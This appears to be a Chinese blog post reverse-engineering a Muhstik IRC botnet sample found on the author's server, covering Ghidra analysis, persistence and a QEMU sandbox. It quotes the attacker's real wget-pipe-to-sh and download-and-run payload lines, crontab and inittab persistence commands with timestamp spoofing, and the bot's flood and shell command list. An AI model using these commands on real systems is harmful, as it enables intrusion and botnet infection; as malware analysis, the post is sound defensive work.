Nook in the Lunar Mare

Muhstik僵尸网络

Sep 13, 2020

攻击数据整理

  1. 攻击源:73.172.20.172巴尔的摩,攻击者持有另一个地址:167.99.39.134
  2. payload 路径:http://167.99.39.134/.x/2sh
  3. 入侵路径:git shell 弱密码
  4. 执行命令:bash -c wget -qO - http://167.99.39.134/.x/2sh | sh > /dev/null 2>&1 > /dev/null 2>&1 &
  5. 时间2020年9月5日 17:43:46
  6. 各个文件的md5sum
    • f23e4646f6332f907c0c97a119590d31 pty1
    • fd745cb5dfc4cea01c7ad89862b4ac57 pty2
    • 433f3e72131ff50ba2e28c3b4550aefd pty4
    • 2a6ca5adf2732cbab2a7df1d85075aac pty5
    • 3d8890fab82e6597456dd891222433bf pty10
    • 7b6bde575a1dca8d1c04f51c0f20cff6 pty11

payload

wget http://167.99.39.134/.x/pty1 -O /tmp/pty1 ; chmod +x /tmp/pty1 ; chmod 700 /tmp/pty1 ; /tmp/pty1 ; cp /bin/busybox /tmp/loop0 ; cat /tmp/pty1 > /tmp/loop0 ; /tmp/loop0 &
wget http://167.99.39.134/.x/pty2 -O /tmp/pty2 ; chmod +x /tmp/pty2 ; chmod 700 /tmp/pty2 ; /tmp/pty2 ; cp /bin/busybox /tmp/loop1 ; cat /tmp/pty2 > /tmp/loop1 ; /tmp/loop1 &
wget http://167.99.39.134/.x/pty11 -O /tmp/pty11 ; chmod +x /tmp/pty11 ; chmod 700 /tmp/pty11 ; /tmp/pty11 ; cp /bin/busybox /tmp/loop1 ; cat /tmp/pty11 > /tmp/loop1 ; /tmp/loop1 &
wget http://167.99.39.134/.x/pty10 -O /tmp/pty10 ; chmod +x /tmp/pty10 ; chmod 700 /tmp/pty10 ; /tmp/pty10 ; cp /bin/busybox /tmp/loop2 ; cat /tmp/pty10 > /tmp/loop2 ; /tmp/loop2 &
wget http://167.99.39.134/.x/pty4 -O /tmp/pty4 ; chmod +x /tmp/pty4 ; chmod 700 /tmp/pty4 ; /tmp/pty4 ; cp /bin/busybox /tmp/loop3 ; cat /tmp/pty4 > /tmp/loop3 ; /tmp/loop3 &
wget http://167.99.39.134/.x/pty5 -O /tmp/pty5 ; chmod +x /tmp/pty5 ; chmod 700 /tmp/pty5 ; /tmp/pty5 ; cp /bin/busybox /tmp/loop3 ; cat /tmp/pty5 > /tmp/loop4 ; /tmp/loop4 &
rm -rf /tmp/2sh

把这些pty下载下来,检查了一下发现是加upx壳的二进制文件,去壳后用radare2看了下文件信息,没有链接外部库,走的全静态编译的路子,MIPS架构编译

upx -d pty1
rabin2 -I pty1
>> [output]
arch     mips
baddr    0x400000
binsz    156930
bintype  elf
bits     32
lang     c
machine  MIPS 3000

直接打开发现了一些有趣的东西,看起来支持了不少命令,推测是一个针对IOT的恶意程序,可能是MIrai的变种。把notice字段和支持的指令都记录下来。

[Infos]:
NOTICE %s :Receiving file
NOTICE %s :Unable to create socket.
NOTICE %s :Unable to resolve address.\n
NOTICE %s :Unable to connect to http.\n
NOTICE %s :Saved as %s\n
NOTICE %s :Hier komt de stoofvlees met friet jongens...

[possible commands]
PAN <target> <port> <secs>      An advanced syn flooder kill most network drivers
UDP <target> <port> <secs>      An udp flooder
HTTP <target> <port> <time> <threads> </shit.php?id=> <GET/HEAD/POST>  HTTP flooder
STD <target> <port> <secs> <funny_data> STD2 flooder
UNKNOWN <target> <secs>         another non-spoof udp flooder
KILL                            kill the client
KILL_PORT <port>                kill a listener socket
GET <http address> <save as>    downloads a file off the web and save it to hd
SSHX <192 or 192.168 or 192.168.0> <threads> <minutes> <user> <password> <http_string> <tftp_host>                     SSH scan provided credentials\n
SSH <192 or 192.168 or 192.168.0> <threads> <minutes> <http_string> <tftp_host>                                               SSH scan
KILLALL                         kills all current packeting
HELP                            display help
CBACK <ip> <port>               Connect back
IRC <command>                   send command to server
SH <command>                    exec command

此外这个程序里也有Http Header的字符串,还预定义了各种UA,不知道会是什么用处

rabin2 -zz pty1
>> [output]
GET /%s HTTP/1.0\r\nConnection: Keep-Alive\r\nUser-Agent: Mozilla/4.75 [en] (X11; U; Linux 2.2.16-3 i686)\r\nHost: %s:80\r\nAccept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*\r\nAccept-Encoding: gzip\r\nAccept-Language: en\r\nAccept-Charset: iso-8859-1,*,utf-8\r\n\r\n
...
Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0
Mozilla/5.0 (X11; U; Linux ppc; en-US; rv:1.9a8) Gecko/2007100620 GranParadiso/3.1
Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)
Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en; rv:1.8.1.11) Gecko/20071128 Camino/1.5.4
Mozilla/5.0 (Windows; U; Windows NT 6.1; rv:2.2) Gecko/20110201
...(many User-Agents)

此外里面也存在字符集,或许是为了加解密?

1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXY~!@#$%^&*()-+_<>?/:;}{][

扔到Virustotal里检查基本确定是一个恶意文件,下载地址的在线沙箱检测如下:

check

逆向分析

Ghidra打开之,自动分析过程中没发现什么加密问题,代码停在入口点的位置。我认为一个比较好的入手点是"HELP"字符串的调用位置,这里通常是处理命令行的地方,所以搜索HELP引用位置,定位到了该函数。这个函数的作用就是print help,调用这个函数的地方应该就是处理命令行参数的地方,运气好的话还可能直接就是main函数所在。

FUN_0040e41c可能是类似于printf的作用,用来打印一些log info,目前看来不太重要。

FUN_0040e168也可能与处理命令行参数有关,列为下一步分析对象。

FUN_00416d90的调用形式和exit(0)很像,暂定为exit(0)

void FUN_00405d24(undefined4 param_1,undefined4 param_2)
{
  int iVar1;
  
  iVar1 = FUN_0040e168(param_2);
  if (iVar1 == 0) {
    FUN_0040e41c(param_1,
                 "NOTICE %s :PAN <target> <port> <secs>                       = An advanced synflooder that will kill most network drivers\n"
                 ,param_2);
    FUN_0040e41c(param_1,
                 "NOTICE %s :UDP <target> <port> <secs>                       = A udp flooder\n",
                 param_2);
    FUN_0040e41c(param_1,
                 "NOTICE %s :HTTP <target> <port> <time> <threads> </shit.php?id=> <GET/HEAD/POST>= HTTP flood\n"
                 ,param_2);
    FUN_0040e41c(param_1,"NOTICE %s :STD <target> <port> <secs> <funny_data>         = STD2 flood\n"
                 ,param_2);
    FUN_0040e41c(param_1,
                 "NOTICE %s :UNKNOWN <target> <secs>                          = Another non-spoofudp flooder\n"
                 ,param_2);
    FUN_0040e41c(param_1,
                 "NOTICE %s :KILL                                             = Kills the client\n",
                 param_2);
    FUN_0040e41c(param_1,
                 "NOTICE %s :KILL_PORT <port>                                 = Kills a listenersocket\n"
                 ,param_2);
    FUN_0040e41c(param_1,
                 "NOTICE %s :GET <http address> <save as>                     = Downloads a fileoff the web and saves it onto the hd\n"
                 ,param_2);
    FUN_0040e41c(param_1,
                 "NOTICE %s :SSHX <192 or 192.168 or 192.168.0> <threads> <minutes> <user><password> <http_string> <tftp_host>                     = SSH scan providedcredentials\n"
                 ,param_2);
    FUN_0040e41c(param_1,
                 "NOTICE %s :SSH <192 or 192.168 or 192.168.0> <threads> <minutes> <http_string><tftp_host>                     = SSH scan\n"
                 ,param_2);
    FUN_0040e41c(param_1,
                 "NOTICE %s :KILLALL                                          = Kills all currentpacketing\n"
                 ,param_2);
    FUN_0040e41c(param_1,
                 "NOTICE %s :HELP                                             = Displays this\n",
                 param_2);
    FUN_0040e41c(param_1,"NOTICE %s :CBACK <ip> <port>\t\t\t\t\t\t\t\t= Connect back\n",param_2);
    FUN_0040e41c(param_1,
                 "NOTICE %s :IRC <command>                                    = Sends this commandto the server\n"
                 ,param_2);
    FUN_0040e41c(param_1,
                 "NOTICE %s :SH <command>                                     = Executes acommand\n"
                 ,param_2);
    FUN_00416d90(0);
  }
  return;
}

由于找不到对print_help函数的直接引用位置,所以接下去我跟踪了FUN_0040e168,这个函数在整份代码总被多次调用,且格式具有高度相似性,推测是与命令执行直接相关

void funcs_family(args1, args2)
{
    int var;
    var = FUN_0040e168(args2);
    if (var != 0)
        // print infos and some other works ...
        return;
    // ...
    return;
}

代码整理如下,看起来完成了主要是设置了一个global数组的值。

int FUNC_0040e168(void)
{
    // 2 global var -- X, Y
    // and we treated FUN_00410010() as f()
    // FUN_004150d0() as g()
    // FUN_00415380() as h()
    int var_1;
    int var_2;
    int i;
    
    var_1 = FUN_00410010();
    if (var_1 != 0){
        X += 1;
        var_2 = g((X + 1) * 4);
        for(i = 0; i < X - 1; ++i)
            var_2[i] = Y[i];                // if they are all 4bytes long
        var_2[X - 1] = var_1;
        h(Y);
        Y = var_2;
    }
    return var_1;
}

对这个函数里的调用函数继续分析,涉及到syscall指令比较特殊,利用reg v0传参,需要看汇编代码自行翻译。ra是MIPS中存放返回地址的寄存器,s0通常用于保存一些需要在后期恢复的变量。v0也常用于存储返回值,a3通常是存了参数。整个代码看下来有好几个隐式传值的过程,而且涉及到fork这种返回两次的,深感知识不足,手头没有交叉编译环境没法直接验证,只能靠猜测还原部分代码,感觉很大可能是fork函数。

# part of f() asm code
0041002c 24 02 0f a2     li         v0,0xfa2
00410030 00 00 00 0c     syscall
00410034 8f 99 81 c8     lw         t9,-0x7e38(gp)          # ->FUN_00410b50 
00410038 10 e0 00 06     beq        a3,zero,LAB_00410054    # if a3 = 0, jump to label
0041003c 00 40 80 21     _move      s0,v0
00410040 03 20 f8 09     jalr       t9                      # FUN_00410b50                             
00410044 00 00 00 00     _nop
00410048 8f bc 00 10     lw         gp,local_10(sp)
0041004c ac 50 00 00     sw         s0,0x0(v0)
00410050 24 02 ff ff     li         v0,-0x1

LAB_00410054:
00410054 8f bf 00 1c     lw         ra,local_4(sp)
00410058 8f b0 00 18     lw         s0,local_8(sp)
0041005c 03 e0 00 08     jr         ra
00410060 27 bd 00 20     _addiu     sp,sp,0x20
// f() pseud code
// FUN_00410b50 just return an address of global DATA DAT_00465900
// Treat DAT_00465900 as global_FX_pointer 
bytes_4 FUN_00410010(void)
{
  bytes_4 var;
  bytes_4 *pointer;
  
  var = sys_fork()
  if (var != 0) {
    pointer = global_FX_pointer;
    *pointer = 0xfa2;
    var = -1;       // -1
  }
  
  return var;
}

至此的分析逐渐支持了我们之前对FUN_0040e168的猜测,它的作用应该就是fork一个新进程用于执行接收到的指令,然后在父进程内对某些数据做了拷贝,由于其对数据的修改是全局性的,很像库函数的写法,所以有理由推测这个函数实现的是类似库函数fork的功能,具体的命令调用函数(比如help)其写法就是fork编程里的fork wrapper,将FUN_0040e168命名为private_fork(),调用private_fork()的各个函数对应的就是具体的命令,它们在子进程中完成各自任务。

void xxx_command(arg1. arg2){
    pid = private_fork();
    // if in the child process
    if(pid == 0){
        // ... works
    }
    return;
}

重命名完对应命令的函数后,暂时无法从command_help获取更多信息了,有两个思路,一个是从entry逐步分析,另一个是从strings里找感兴趣的字符串,我选择第二个思路。

在重新检查这个程序内包含的文件时,看到了不少跟网络相关的字符串,以及muhstik, multihop等字符串,搜索了一下这个恶意程序可能是针对路由器这一类设备的bot?特别是mushstik是一个之前披露过的僵尸网络(见地址360netlab,顺带一提,获取pty样本的网址是一个wordpress,而下载pty脚本的网站首页只有360netlab几个字,应该是被拿下了),看了一下报告,里面的指令功能很像,同样都有HTTP Header,或许这个样本就是muhstik或者基于muhstik改造过的版本。(主要是我手上的样本没有符合的Hash)

我感兴趣的主要是

  1. 持久化和自启动如何完成?找crontab、initab等,还有各个可疑路径
  2. Muhstik下载部分的代码需要关注。
  3. muhstik字符串出现的位置。

最终的问题就是:

1. 它回连的服务器是谁?
2. 它在机子上做什么,除了DDOS -- (报告中表示还有挖矿,不过需要从另一个服务器下载文件,目前没发现)

我们将一个个解决问题,从简单的开始,积累更多信息。

持久化和自启动

持久化路径比较好找,在cpy_and_crontab(0x407f50的位置)函数中定义了各个路径,用一个循环将恶意文件copy到对应目录下面。Fun_00410f30应该是sprintf一类的函数,在缓冲区里放好"cp -f"的命令,然后在FUN_00416570进行调用该命令。这样这两个函数大概的作用就知道了。

  if (iVar1 == 0) {
    local_111c[0] = "/dev/shm"
    local_111c[1] = "/var/tmp";
    local_111c[2] = "/var/lock";
    local_111c[3] = "/var/run";
    local_110c = PTR_DAT_00460488;
    uVar2 = FUN_004140f0(param_1);
    i = 0;
    while (i < 5) {
      iVar1 = FUN_0040fe30(local_111c[local_1124],2);
      if (iVar1 == 0) {
        FUN_00410f30(auStack4360,0x1000,"cp -f %s \
                     %s/%s",param_1,local_111c[local_1124],uVar2);
        iVar1 = FUN_00416570(auStack4360);
        if (iVar1 != -1) {
          FUN_00410f30(auStack264,0x100,"%s/%s",local_111c[local_1124],uVar2);
          (*(code *)PTR_command_crontab_another_004630d4)(auStack264);
          inittab_autorun(auStack264);
        }
      }
      i += 1;
    }
    maybe_exit(0);
  }

里面的函数逻辑比较易懂,这边直接贴出分析后的代码逻辑

void cpy_and_set_autorun(undefined4 malware_file_path)
{
  int pid;
  undefined4 malware_name;
  int i;
  undefined *store_path [4];
  undefined cmd_buff [4096];
  undefined auStack264 [256];
  
  pid = private_fork();
  if (pid == 0) {
    store_path[0] = "/dev/shm";
    store_path[1] = "/var/tmp";
    store_path[2] = "/var/lock";
    store_path[3] = "/var/run";
    malware_name = parse_path_to_get_file_name(malware_file_path);
    i = 0;
    while (i < 5) {
      // not pid, only used to store result
      pid = is_file_exsited?(store_path[i]);
      if (pid == 0) {
        sprintf(cmd_buff,0x1000,"cp -f %s \
                %s/%s",malware_file_path,store_path[i],malware_name);
        pid = call_binbash_to_exec(cmd_buff);
        if (pid != -1) {
          sprintf(auStack264,0x100,"%s/%s",store_path[i],uVar2);
          (*(code *)PTR_command_crontab_another_004630d4)(auStack264);
          inittab_autorun(auStack264);
        }
      }
      i = i + 1;
    }
    maybe_exit(0);
  }
  return;
}

跟自启动有关的就是crontab和initab这两处。先执行了下面的命令,查看是否有crontab任务。

crontab -l | grep %s | grep -v \"no cron\" || (crontab -l ; echo \"* * * * * %s >/dev/null 2>&1 &\") | crontab - > /dev/null 2>&1 &

inittab处则是把原有的/etc/inittab清空,加入运行malware的指令,并设置其在2345模式(多用户、命令行、图形)下,每当process终止后就重启一个新的process。此外把/etc/inittab的修改和生成时间改换为与/bin/ls相同,企图规避通过基于时间的安全检查。

void inittab_autorun(undefined4 param_1)
{
  int iVar1;
  undefined auStack4104 [4096];
  
  iVar1 = private_get_uid();
  if (iVar1 == 0) {
    sprintf(auStack4104,0x1000,"cat /etc/inittab | grep -v \"%s\" > /etc/inittab2",param_1);
    call_bash_to_exec_buf(auStack4104);
    sprintf(auStack4104,0x1000,"echo \"0:2345:respawn:%s\" >> /etc/inittab2",param_1);
    call_bash_to_exec_buf(auStack4104);
    sprintf(auStack4104,0x1000,"cat /etc/inittab2 > /etc/inittab");
    call_bash_to_exec_buf(auStack4104);
    sprintf(auStack4104,0x1000,"rm -rf /etc/inittab2");
    call_bash_to_exec_buf(auStack4104);
    sprintf(auStack4104,0x1000,"touch -acmr /bin/ls /etc/inittab");
    call_bash_to_exec_buf(auStack4104);
  }
  return;
}

总的来说手法比较糙,没有特别高明的持久化手段和重启手段且需要root权限,删除这几个文件夹下的恶意文件(pty)以及/etc/crontab即可。

Command_GET 下载

同样的分析过程,观察函数参数形式+socket编程的模板进行猜测(比如一些常见的宏AF_INET这些对应的数字),不过还是有一些不清楚。。这里把解读到的代码贴出来。简单来说,这里就是从指定路径接收文件,然后存在指定位置,两个都由参数给出。只是在接收文件的时候,前面部分应该是对HTTP头的处理,后面就不清楚为什么会关注数组中13、4、5这几个位置。没有什么特别敏感的信息。

void command_GET(undefined4 param_1,undefined4 param2,int argc,int argv)

{
  char maybe_port [8];
  char host_addr [1024];
  byte recv_buf [4100];
  
  // pid 
  recv_sock = private_fork(param2);
  if (recv_sock == 0) {
    if (argc < 2) {
      maybe_info_log(param_1,"NOTICE %s :GET <host> <save as>\n",param2);
      maybe_exit(0);
    }
    recv_sock = create_socket(2,2,0);
    if (recv_sock == -1) {
      maybe_info_log(param_1,"NOTICE %s :Unable to create socket.\n",param2);
      maybe_exit(0);
    }
    // if argv[1] started with http:// ?
    result = is_started_with_pattern?(argv[1],"http://",7);
    if (result == 0) {
      cpy_to_buff(host_addr,argv[1] + 7);
    }
    else {
      cpy_to_buff(host_addr,argv[1]);
    }
    
    // find the '/' from url => example 192.168.0.1/xxx/yyy
    server_path_index = 0;
    while ((host_len = strlen(host_addr), server_path_index < host_len &&
           (host_addr[server_path_index] != '/'))) {
      server_path_index = server_path_index + 1;
    }
    
    // cut host_addr, split the raw url into two parts
    // example 192.168.0.1/xxx/yyy => 192.168.0.1 '\0' xxx/yyy
    host_addr[server_path_index] = '\0';
    local_1424 = 2;
    
    // 0x0000 0050
    local_1422 = mask_to_get_low_8_bytes(0x50);
    result = is_domain?(host_addr);
    if (result == -1) {
      // transform domain into ip addr
      result = resolve_address(host_addr);
      if (result == 0) {
        maybe_info_log(param_1,"NOTICE %s :Unable to resolve address.\n",param2);
        maybe_exit(0);
      }
      // unknown, maybe set sock info
      FUN_00413920(&sock_info_struct,result[4],result[5]);
      result = sock_info_struct;
    }
    sock_info_struct = result;
    setport(maybe_port,0,8);
    result = create_http_connect(recv_sock,&local_1424,0x10);
    if (result != 0) {
      maybe_info_log(param_1,"NOTICE %s :Unable to connect to http.\n",param2);
      maybe_exit(0);
    }
    maybe_info_log(recv_sock,
                                      
                   "GET /%s HTTP/1.0\r\nConnection: Keep-Alive\r\nUser-Agent: Mozilla/4.75 [en](X11; U; Linux 2.2.16-3 i686)\r\nHost: %s:80\r\nAccept: image/gif,image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*\r\nAccept-Encoding:gzip\r\nAccept-Language: en\r\nAccept-Charset: iso-8859-1,*,utf-8\r\n\r\n"
                   ,host_addr + server_path_index + 1,host_addr);
    maybe_info_log(param_1,"NOTICE %s :Receiving file.\n",param2);
    result = private_open(argv[2],'wb');
LAB_004058e4:
    recved_bytes = private_recv(recv_sock,recv_buf,4096,0);
    if (0 < recved_bytes) {
      if (recved_bytes < 4096) {
        recv_buf[recved_bytes] = 0;
      }
      local_1430 = 0;
LAB_00405adc:
      if (local_1430 < recved_bytes) {
        // find the \r\n
        iVar2 = is_started_with_pattern?(recv_buf + local_1430,'\r\n',4);
        if (iVar2 != 0) goto LAB_00405acc;
        
        // now it's \r\n, skip the \r\n
        local_1430 = local_1430 + 4;
        
        // recv data here but don't know what's it
        while (local_1430 < recved_bytes) {
          if (result[13] == 0) {
            // unknown
            FUN_00412ef0((uint)recv_buf[local_1430], result);
          }
          else {
            if (result[4] < result[5]) {
              pbVar3 = *(result[4]);
              *pbVar3 = recv_buf[local_1430];
              *(result[4]) += 1;
            }
            else {
              // unknown
              FUN_00413600((uint)recv_buf[local_1430], result);
            }
          }
          local_1430 += 1;
        }
        goto LAB_00405afc;
      }
      goto LAB_004058e4;
    }
LAB_00405afc:
    // recv done
    maybe_info_log(param_1,"NOTICE %s :Saved as %s\n",param2,*(undefined4 *)(argv + 8));
    while (recved_bytes = private_recv(recv_sock,recv_buf,0x1000,0), 0 < recved_bytes) {
      if (recved_bytes < 0x1000) {
        recv_buf[recved_bytes] = 0;
      }
      local_144c = 0;
      while (local_144c < recved_bytes) {
        if (*(int *)(iVar1 + 0x34) == 0) {
          FUN_00412ef0((uint)recv_buf[local_144c],iVar1);
        }
        else {
          if (*(uint *)(iVar1 + 0x10) < *(uint *)(iVar1 + 0x1c)) {
            pbVar3 = *(byte **)(iVar1 + 0x10);
            *pbVar3 = recv_buf[local_144c];
            *(byte **)(iVar1 + 0x10) = pbVar3 + 1;
          }
          else {
            FUN_00413600((uint)recv_buf[local_144c],iVar1);
          }
        }
        local_144c = local_144c + 1;
      }
    }
    fclose(result);
    close(recv_sock);
    maybe_exit(0);
  }
  return;
LAB_00405acc:
  local_1430 = local_1430 + 1;
  goto LAB_00405adc;
}

Muhstik

这个Muhstik字符串引用处的函数我认为很可能就是main函数,位置在0x408a84,判断原因是函数的形式以及里面调用了很多命令函数,属于比较上层的存在。

void muhstik_func(undefined4 param1, undefined4 *param2)
{
    // ...
    inittab_and_autorun();
    // ...
    var = fork();
    // ...
    do{}
    while
}

第一遍看下来,它大概完成了检查时间,检查crontab,设置crontab,在dns解析服务器里加入了8.8.8.8,此外最重要的是下面的这个命令:

maybe_info_log(uVar4,“NICK %s\nUSER {=tex}%s localhost localhost :%s\n{=tex}",uVar1,“muhstik”,uVar3);

这个Muhstik在第一次被曝光的时候就有使用IRC的情况,这条命令是IRC的登录指令,它依旧在使用这个方式进行控制。muhstik应该就是IRC频道的名字,这说明maybe_info_log很可能不是纯粹的log函数,它应该是一个向IRC服务器发送消息/指令的函数。此外在程序里也存在诸如join、mode、who这类字符,支持了程序使用IRC命令的说法。

char_sets

这一部分分析了一段时间,觉得还是效率太低了,打算用动态调试的方法检验。

跟踪这一串字符串,定位至0x00409c84,代码如下

undefined4 use_char_sets(void)
{
  undefined4 uVar1;
  int iVar2;
  
  uVar1 = FUN_00410660(0);  // call sys
  FUN_00416014(uVar1);
  uVar1 = FUN_004150d0(2);
  FUN_00413a60(uVar1,0,2);
  iVar2 = thunk_FUN_00415df0();
  FUN_00410f80(uVar1,&DAT_0041e724,
               (int)
                    "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXY~!@#$%^&*()-+_<>?/:;}{]["
                    [iVar2 % 0x55]);
  return uVar1;
}

跟踪第一个函数00410660,代码如下,又是一个syscall的实现,之后遇到不再详细列出。0xfad=401300–>对应sys_time

undefined4 FUN_00410660(void)
{
  undefined4 uVar1;
  undefined4 *puVar2;
  int in_a3;
  
  uVar1 = 0xfad;
  syscall(0);
  if (in_a3 != 0) {
    puVar2 = (undefined4 *)FUN_00410b50();
    *puVar2 = 0xfad;
    uVar1 = 0xffffffff;
  }
  return uVar1;
}

看来是一个与时间有关的函数,用于被控制端的定时器?

网络分析

环境准备

使用QEMU进行MIPS架构程序的运行。也正好借这次了解了一下QEMU,在Linux上目前最易用的应该是qemu-user-static, 能够在本机上运行MIPS程序,对于开发者来说可能比较方便,跑一跑安全的程序是没问题的。但我不想让恶意程序污染我的机器,所以需要采用别的方案:

  1. Vbox虚拟机 + QEMU user-static : 嵌套进行模拟,在Vbox里新建一个测试用的Linux,安装qemu相关的组件,然后在上面运行MIPS程序。这个方案的优点在于,Vbox内的工具比较齐全,不需要太多额外配置即可用作一个沙盒观察程序行为,且虚拟机环境怎么折腾也不心疼。不足在于,比较吃硬件,且如要使用gdbserver方案对MIPS调试依旧要进行配置。
  2. 本地Qemu system : 本地开一个qemu虚拟机,不在user-mode下工作,性能比方案1要高,但也多了一些危险性(万一正好装上带逃逸漏洞的程序),此外需要解决文件传输问题

最后采用了方案2,先进行抓包。

在客户机(debian-mips)运行了pty1, 效果如下

run

检查了initab和crontab的内容,都被篡改。

inittab

crontab

crontab

网络包

运行后抓包,整理如下

irc
  1. 查询了irc.deutschland-zahlung.net的服务器地址(DNS) — 121.46.26.158
  2. 发送了SYN请求,目标为2407,被拒了
  3. 查询irc.shadow-mod地址(DNS)
  4. 接下来是一个TCP的连接建立,对象为162.249.2.189:2407
  5. 接下来的内容看了一下是IRC的NICK命令,故在wireshark里设置以IRC协议进行解码,得到了以下结果
NICK M|f|0|2138795|debian-m
USER muhstik localhost localhost :muhstik-11052018
PING :104B17BE
PONG :104B17BE
:s5.webm 010 M|f|0|2138795|debian-m s5.webm 0
:s5.webm 001 M|f|0|2138795|debian-m :
:s5.webm 002 M|f|0|2138795|debian-m :
:s5.webm 003 M|f|0|2138795|debian-m :
:s5.webm 004 M|f|0|2138795|debian-m :
:s5.webm 005 M|f|0|2138795|debian-m :
:s5.webm 005 M|f|0|2138795|debian-m :
:s5.webm 005 M|f|0|2138795|debian-m :
:s5.webm 422 M|f|0|2138795|debian-m :MOTD???
MODE M|f|0|2138795|debian-m -xi  # hide your self (hash your ip and invisible from /who)
JOIN #em :8974
WHO M|f|0|2138795|debian-m
:M|f|0|2138795|debian-m!muhstik@223.129.4.122 JOIN :#em
:s5.webm 332 M|f|0|2138795|debian-m #em :1000
:s5.webm 333 M|f|0|2138795|debian-m #em M 1592675044

加入这个IRC,没发现什么,把控制的机器都隐藏了应该是。

动态调试

采用GDBserver (QEMU Guest) + GDB-Multiarch (HOST) + 端口转发进行调试。其实没怎么调试,只是跟踪了一下Muhstik函数的流程,主要是试着用QEMU调其他架构的程序。这个恶意代码好在是个全静态的,Ghidra暂时没找到导出符号表的方法,多少有些不便。记录一下调试的操作。

QEMU:

前往仓库下载相关MIPS的Mirror和内核,因为我是32位大端,下载debian_wheezy_mips_standard.qcow2和vmlinux-3.2.0-4-4kc-malta。注意内核版本最好不要太老,gdbserver在较老的内核版本会崩溃,导致无法连接。

GDB: Gdb-multiarch(宿主机上安装), GDB-server从这个仓库安装,都是预编译好的二进制版本,注意选择7.7版本,7.12有一个sysprocmask的bug

接着做一个cdrom用于挂载,给客户机传文件(其他传文件的方法可以参考arch wiki),gdbserver和要分析的文件一起打包进去。

genisoimage -o [xxx.iso] -r [your file path (can be dir)]

用如下脚本启动qemu,这个脚本把宿主机上的10022端口和客户机的31037端口绑定。

qemu-system-mips \
  -M malta \
  -kernel vmlinux-3.2.0-4-4kc-malta \
  -boot c \
  -nic user,hostfwd=tcp::10022-:31037 \
  -hda debian_wheezy_mips_standard.qcow2 \
  -append "root=/dev/sda1 console=tty0" \
  -cdrom pty.iso

在虚拟机内部挂载sdr0,把文件拿出来就行。客户机用gdbserver监听31037端口,宿主机连接本地10022端口即可开始调试。

小结

讲道理,这是个MIPS架构的binary,在我服务器上并不能运行,可能只是IOT设备大范围扫描中招的机子,没做架构的筛查。

Reference

[1] https://blog.malwaremustdie.org/2019/09/mmd-0064-2019-linuxairdropbot.html (一个酷酷老哥的博客,同样调用了0xfa2,分析思路可以参考)

[2] https://e-mailky.github.io/2017-09-07-mips_instruction (MIPS Instructions)

[3] https://godbolt.org/ (永远滴神!在线compiler)

[4] https://blog.netlab.360.com/botnet-muhstik-is-actively-exploiting-drupal-cve-2018-7600-in-a-worm-style/ (muhstik)

[5] https://s.tencent.com/research/report/1078.html (最终找到了关于这个的报告) : 我只发现了2sh的脚本,应该合理推测还存在1sh、3sh的脚本。1sh脚本功能类似,只是存放目录变成了ar/run/,针对物联网设备。

[6] http://www.sigma.me/tag/mips (syscall on MIPS Linux)

[7] https://wiki.archlinux.org/index.php/QEMU_(%E7%AE%80%E4%BD%93%E4%B8%AD%E6%96%87)#%E7%BD%91%E7%BB%9C (QEMU arch wiki)

[8] https://e3pem.github.io/2019/08/23/mips-pwn/mips-pwn%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA/ (环境搭建,仅参考)